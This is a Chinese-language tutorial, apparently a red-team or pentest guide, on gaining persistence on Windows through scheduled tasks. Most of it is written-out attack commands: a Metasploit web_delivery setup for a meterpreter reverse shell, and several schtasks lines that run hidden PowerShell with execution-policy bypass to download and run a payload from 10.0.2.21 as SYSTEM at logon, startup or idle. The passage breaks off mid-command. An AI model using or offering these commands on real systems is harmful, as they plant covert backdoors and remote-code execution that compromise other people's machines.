Windows操作系统中提供了一个实用工具schtasks.exe,系统管理可以使用该工具完成在指定日期和时间执行程序或脚本的工作。但是目前这个工具经常被黑客或者红队利用,从而实现持续性攻击。普通情况下,通过计划任务实现持续性攻击不需要用到管理员的权限,但是如果你希望能获得更加灵活的操作,例如指定用户登录时或者系统空闲时执行某个任务,还是会需要用到管理员的权限。
通过计划任务完成的持续性攻击既可以手动实现,也可以自动实现。Payload既可以从磁盘上执行,也可以从远程位置下载执行,这些Payload可以是可执行文件、PowerShell脚本或者scriptlets形式。
这种方法已经由来已久,但是却仍然被黑客或者红队所广泛使用,而且现在已经有很多开源工具中也都使用了这个方法。
Metasploit中的“web_delivery”模块可用于管理和生成各种格式的Payload。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit
在命令提示行中使用“schtasks”命令可以创建一个计划任务。
例如使用下面的命令就可以指定在每次系统登录时,操作系统会自动去下载并执行一个基于PowerShell的Payload。
schtasks /create /tn PentestLab /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onlogon /ru Syste
图*-* 命令提示符中实现的计划任务
当系统用户再次登录时,系统将下载执行Payload并建立Meterpreter会话。
图*-* 通过计划任务建立的Meterperter
也可以指定Payload在系统启动期间或系统空闲时执行。
#(X64) - On System Start
schtasks /create /tn PentestLab /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onstart /ru System
#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onidle /i 30
#(X86) - On User Login
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
-WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX
((new-object
net.webclient).downloa